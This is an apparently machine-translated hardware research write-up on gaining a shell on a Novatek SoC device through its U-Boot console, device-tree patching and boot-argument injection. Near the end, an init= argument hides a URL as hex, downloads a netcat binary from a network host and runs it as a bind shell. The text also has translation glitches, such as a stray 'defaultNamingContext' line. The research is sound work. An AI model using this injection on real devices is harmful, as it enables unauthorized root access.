沈黙のコンソールを蘇らせる:U-BootからLinuxシェルへ

沈黙のコンソールを蘇らせる:U-BootからLinuxシェルへ

多くの民生用および産業用デバイスには、開発や現場サポートを容易にするためのデバッグインターフェースが組み込まれています。しかし、これらのインターフェースが本番環境のハードウェア上でアクセス可能なまま、セキュリティ対策が施されていない場合、物理的なアクセス権を持つ者なら誰でも、サプライチェーンが侵害されたような状況を含め、容易に侵入の足がかりとして利用できてしまいます。本調査の対象となっているデバイスは産業用コントローラではありませんが、セキュアブートの欠如やブートローダーのプロンプトへのアクセスが可能であるといった観察された傾向は、OT 導入されている製品を含め、多くの組み込み製品に共通して見られるものです。

Nozomi チームが最近実施したNovatek SoC搭載デバイスの解析では、こうした一般的な設計手法が見られたものの、その挙動は予想外のものだった。ブートローダーとのやり取りは可能であったが、カーネルが起動するやいなや、システムは完全に沈黙し、コンソールもログも、何も表示されなくなった。 本記事では、その「見た目は問題ないが、何の反応もない」という状況から、Novatek SoC搭載デバイス上でUART経由で動作する完全なデバッグコンソールを復旧させるまでの経緯を解説します。

研究の観点から言えば、興味深いのは新たなハードウェアの脆弱性そのものではなく、実用的なコンソールを復元するためにたどった道筋です。カーネルのカスタマイズに関する分析と、昔ながらの試行錯誤の手法を組み合わせることで、私たちは「ほぼ機能停止状態」だったデバッグポートを、実行時のみの操作で、デバイスに恒久的な変更を加えることなく、完全にインタラクティブなシェルへと変貌させました。  本記事の残りの部分では、最初の「なぜ動かないのか?」という疑問から始まり、カーネルの解析を経て、パッチを適用した引数による最終的な起動に至るまでの過程を、段階を追って解説する。

初期分析

システム上でシェル権限を取得することは、リバースエンジニアリング作業を大幅に簡略化できるため、利便性の観点から主要な目標とされました。こうした場合、容易に悪用できる脆弱性が見つからないときは、通常、デバイスを分解してPCB上の部品を特定し、テストポイントやデバッグポートの位置を特定する手順を踏みます。分析は、最も簡単で侵襲性の低い手法から進められます。例えば、フラッシュメモリICのはんだ除去といった侵襲性の高い手法を試みる前に、まず利用可能なデバッグポートを確認します。  

このケースでは、デバッグポートは容易に特定できました。PCBに配線をはんだ付けし、シリアル接続のボーレートを確認した後、通信を行うためにUSB-UART TTLアダプタを接続しました。

図1:シリアルTX/RXテストポイントを強調表示した対象デバイスのPCB

セットアップが完了すると、デバイスの電源を入れ、シリアルコンソールが起動しました。 予想通りのブートメッセージとLinuxカーネルの初期化が表示されましたが……その後、何も起こりませんでした。カーネルが制御を引き継ぐやいなや、出力は途絶え、デバイスは入力を受け付けなくなりました。これらは、ブート後にコンソールが無効化されたか、設定ミスがあったことを示す典型的な兆候です。ログを確認したところ、SBL(セカンダリ・ブートローダー)がU-Bootであることが判明し、ブートプロセスを停止するにはCTRL + Cを押すよう促すメッセージが表示されていました。

[...]
Ctrl + C を押して自動起動を停止: 0
do_nvt_boot_cmd: bootargs:earlyprintk console=ttyS0,115200 […]
[...]
カーネルの起動中 ...
[...]
Linux の解凍中... 完了、カーネルの起動を開始します。

再起動後、CTRL + C(スクリプト実行時は0x03)を送信してブートプロセスを中断したところ、システムはブートローダーシェルの対話型プロンプトを表示した。

nvt: ?
? - 「help」の別名
base - アドレスのオフセットを表示または設定する
bdinfo - ボード情報構造体を表示する
blkcache - ブロックキャッシュの診断および制御
bootm - メモリからアプリケーションイメージを起動する
bootp - BOOTP/TFTPプロトコルを使用してネットワーク経由でイメージを起動する

次のステップは、ブートローダー環境からブート引数をダンプすることでした。これらの環境変数は、 env コマンドは、通常、ブート設定を保持し、 Linuxカーネルのパラメータ具体的には、 init 引数を変更して、特定の実行ファイルを最初のプロセスとして実行するようにすることも可能です。 コンソール カーネルのログを出力する場所を指定するためのパラメータを追加できます。

nvt: env print -a
arch=arm
baudrate=115200
bootargs=earlyprintk console=ttyS0,115200 init=/linuxrc [...]
bootcmd=nvt_boot
[...]
vendor=novatek
ver=U-Boot 2019.04 (2024年6月6日 18:15:13 +0800)

私たちの場合、カーネルは コンソール パラメータはすでに正しく設定されているように見えたが、これは私たちが観察していた「起動後に一切の反応がなくなる」という現象とは一致しなかった。類似のNovatek製SoCのデータシートには、最大3つのUARTに対応していると記載されていたため、コンソールを切り替えて代替案をテストした。 ttyS1 そして ttyS2, 結果は出なかったものの。その後、我々は init 引数として /bin/sh そして、出力には変化がなかったものの、ネットワーク経由でそのデバイスにアクセスできなくなったことから、システムが正常に起動しておらず、その変更が何らかの影響を与えたことが示唆された。

手探りでのアプローチも可能だったかもしれない。例えば、私たちは次のようなものを作成してみたが、 init リモートシェルを起動するためのパラメータでしたが、動作するワンライナーを作成できずに時間を浪費したため、この問題をさらに調査することにしました。

問題の特定

そこで、我々は戦略を変更し、U-Bootシェルを使用してフラッシュメモリの内容をすべてダンプすることにした。前述の通り、まずは侵襲性の低い方法を優先する。この場合、我々は NANDダンプ 指定したアドレスのフラッシュメモリの1ページを16進数文字列形式でダンプするコマンドです。この処理は手間がかかり、時間がかかります。コマンドは一度に1ページしかダンプできないため、このプロセスを自動化するにはスクリプトを作成する必要があります。しかし、サポートされる最高ボーレートが115200だったため、シリアル接続の速度というボトルネックにも直面しました。 つまり、比較的小さなフラッシュメモリ(約32Mb)の全ダンプには数時間を要することになります。さらに、 NANDダンプ、 コンテンツが16進数文字として出力されるため、実質的に帯域幅を無駄にしていることになります。

明確にしておくと、この場合のUARTは8N1構成を採用しています。つまり、スタートビット1ビット、データビット8ビット、ストップビット1ビットとなります。したがって、理想的なケースでは、32Mbを送受信するには以下の時間がかかります:

(32 × 1024 × 1024 × 10) ÷ 115200 ≈ 2900 秒 ≈ 45 分

しかし、 NANDダンプ 以下の形式で1ページ(2048バイト)を出力します:

ページ 00000000 のダンプ: 28 00 7c f0 00 00 7c f0 88 25 00 00 00 05 80 00 [...127 行...] OOB: ff ff ff ff ff ff ff ff [...7 行...]

つまり、この方法を使用するページは7590バイトになるということです:

57 * 128 + # ページのヘックスダンプ行数
32 * 8 + # OOBのヘックスダンプ行数
20 + 5 + 12 # テキストプロンプトの長さ
= 7590

この比率を前の計算式に代入すると、次のようになります:

(32 × 1024 × 1024 × 10) ÷ 115200 × (7590 ÷ 2048) ≈ 3時間

ブートログから、FDT(Flattened Device Tree)がオフセット 0x40000 に配置されていることなど、フラッシュのレイアウトはすでに把握していた。次の論理的な手順は、デバイスツリーを調査し、そこにUARTデバイスが記述されているかどうかを確認することだった。  

デバイスツリーは、ハードウェアを記述するための手法です。これはブートプログラムによって一部のハードウェアコンポーネントを初期化するために使用され、その後、クライアントプログラム(SBLやOSなど)に渡され、それらプログラムがハードウェアを正しく利用できるようにします。デバイスツリーは、データをバイナリ形式でエンコードしたDTB(Devicetree Blob)と、人間が読み取れるテキスト形式のDTS(Devicetree Source)という2つの形式で提供されます。dtcソフトウェアを使用することで、ある形式から別の形式へデータを変換することが可能です。

# the header of DTB is 10 uint32_t fields stored in big endian
# the second field is the DTB totalsize
$ xxd -s 0x40000 -l 40 flashdump.bin
00040000: d00d feed 0000 4134 0000 0038 0000 3b3c ......A4...8..;<
00040010: 0000 0028 0000 0011 0000 0010 0000 0000 ...(............
00040020: 0000 05f8 0000 3b04 ......;.
$ dd if=flashdump.bin of=devicetree.bin ibs=0x40000 obs=0x4134 skip=1 count=1
$ dtc -I dtb -O dts -o - devicetree.bin | grep -A 2 uart@
uart@f0290000 {
compatible = "ns16550a";
reg = <0xf0290000 0x1000>;
-- uart@f0300000 {
compatible = "ns16550a";
reg = <0xf0300000 0x1000>;
-- uart@f0310000 {
compatible = "ns16550a";
reg = <0xf0310000 0x1000>;

デバイスツリーに3つのUARTデバイスが記述されているという証拠があったことは安心材料ではあったが、同時に別の可能性も示唆していた。つまり、問題はカーネル自体にあるのかもしれないということだ。UARTドライバのサポートなしでコンパイルされていたか、あるいはデバイスが正しく初期化されていなかった可能性がある。

ブートローダーのログからフラッシュ上のオフセットが分かっていたため、以前と同じ手順でフラッシュダンプからカーネルを容易に抽出することができました。あるいは、さまざまなファイル形式を識別・抽出するファイルカービングユーティリティ(最も有名なのはbinwalkです)を使用することも可能でした。その後、vmlinux-to-elfを使用して、カーネルイメージを静的解析に適したシンボル情報を含むELFファイルに変換しました。

$ dd if=flashdump.bin of=kernel.bin ibs=0x180000 skip=1
$ vmlinux-to-elf kernel.bin kernel.elf

我々はこれを分析し、メインラインのLinuxカーネルのソースコードと比較し始めた。予想通りNovatek固有の関数はあったものの、一見したところ、明らかに不具合があるものや欠落しているものは見当たらなかった。シリアル出力の文脈で特に目立ったカーネルパラメータは、 earlycon。 これは初期パラメータだったため興味深かった。つまり、カーネルは初期化プロセス、具体的には セットアップアーキテクチャ 関数と、その後の start_kernel 関数。その実装を見ると、 早期設定、その動作は単純明快だった:関数は earlycon_table 一致するデバイスを見つけるため、各earlycon_idには名前とセットアップ関数が指定されています。これを確認すると 早期設定 IDAで解析し、テーブルをダンプしたところ、たった1つの earlycon_id 登録されました: nvt_serial.

図2:Linuxカーネルにおけるsetup_earlyconのコードフロー
図3:setup_earlyconおよびearlycon_tableエントリのIDA疑似コード

ブートローダーでは、 起動引数 変数が更新され、「」が含まれるようになりましたearlycon=nvt_serial,0xf0290000”具体的には 0xf0290000 これは、前述のデバイスツリーで指定されているデバイスのメモリマッピングアドレスです。

これにより、カーネル出力ログの一部が記録されました。これは、その直後にデバイスが無効化されたためです。同様の挙動は、以下を使用した場合にも確認されました。 コンソール パラメータ。

物理CPU 0x0上でLinuxを起動中
Linux バージョン 4.19.91 [...]
CPU: ARMv7 プロセッサ [414fc091] リビジョン 1 (ARMv7), cr=10c5387d
CPU: PIPT / VIPT 非エイリアシングデータキャッシュ、VIPT エイリアシング命令キャッシュ
OF: fdt: マシンモデル: Novatek
earlycon: nvt_serial0 (MMIO 0xf0290000)
bootconsole [nvt_serial0] 有効
[...]

他にもいくつかのカーネルパラメータがテストされ、その中には以下の使用も含まれていた。 keep_bootcon これにより、ブートコンソールの登録解除が阻止されます。しかし、いずれも結果は変わりませんでした。そこで、別の仮説が浮かびました。デバイスの初期化後、デバイスツリーに指定がないため、コンソールが動作しなくなる可能性があるのです。 nvt_serial 互換性のあるドライバーとして。

解決方法

この考えを検証するため、デバイスツリーに以下を追加して修正した nvt_serial 最初のUARTデバイスの対応するフィールドに、 dtc. 更新されたFDTは、以下のいずれかの方法を使用してメモリに読み込むことができます tftpboot または、以下を使用してワード単位でRAMに書き込むスクリプトを作成することで mw コマンド。

dtc –I dtb –O dts –o devicetree.dts devicetree.dtb
sed –i s/ns16550a/nvt_serial/ devicetree.dts
dtc –I dts –O dtb –o patchdevicetree.dtb devicetree.dts

Linuxを起動するには コンソール=nvt_serial0 すべてが正常に動作していることが確認された。

この時点で、再度挿入する init=/bin/sh 現在の設定では十分だと思われたが、これがカーネルパニックを引き起こした。

何度か試行錯誤した末、以下の引数が使用された。  

init=/bin/sh -c "/linuxrc & sleep 60; /bin/echo Sleep done > /dev/kmsg;
/usr/bin/wget -o /dev/kmsg -O /tmp/nc $(/usr/bin/dc -e
16i3139322E3136382E312E31302F6E63P); chmod +x /tmp/nc; /tmp/nc 4444 ; while true;
do /bin/echo killed > /dev/kmsg; sleep 10; done"
defaultNamingContext

この長いシェルコマンドは、以下のことを行います:

  1. 開始 linuxrc 背景で
  2. ネットワークスタックがセットアップされるまで60秒待機します
  3. dc を使用して URL を出力します
  4. tmpディレクトリにbindシェルをダウンロードし、それを実行する
  5. バインドシェルが予期せず終了した場合に備えて、空の無限ループを実行する

ステップ3は回避策です。ドットやバックスラッシュを入力するとカーネルパニックが発生したためです。一方、 dc これは電卓ソフトであり、16進数の文字列をASCII文字に変換するために使用できます。

これにより、リバースエンジニアリングのプロセスを進めるための、完全に機能するbindシェルが利用可能になりました!この記事が、同様のケースにおいて役立つ情報やヒントとなることを願っています。

図4. 根殻の存在を示す証拠

付録

フラッシュダンプスクリプト

このスクリプトは、フラッシュメモリの内容をダンプするために使用されました。これを使用するには、ブートローダーのシェルがプロンプト状態で、まだ文字が入力されていないことを確認してください。

使用例 「python3 dump.py /dev/ttyS0 115200 10 dump.bin」。

import serial import sys pageamount = int(sys.argv[3]) fout = sys.argv[4] ser = serial.Serial(sys.argv[1], int(sys.argv[2])) pagesize = 2048 flashsize = pagesize*pageamount # 1行あたりの16進ダンプのバイト数 linebytessize = 16 rrange = (flashsize // pagesize) – 1 def consume_output(ser): while True: bs = ser.readline() if b’Page’ in bs and b’dump:’ in bs: break def parse_hex(fd, pagesize, lbs): for _ in range(pagesize // linebytessize): bs = ser.readline() fd.write(bytes.fromhex(bs.decode())) with open(fout, “wb”) as fd: ser.write(b”nand dump 0\n”) consume_output(ser) parse_hex(fd, pagesize, linebytessize) for I in range(rrange): # 改行を送信すると最後のコマンドが繰り返されます # しかし、nand dumpは繰り返し可能なコマンドであるため、 # 次のページをダンプします ser.write(b”\n”) consume_output(ser) parse_hex(fd, pagesize, linebytessize)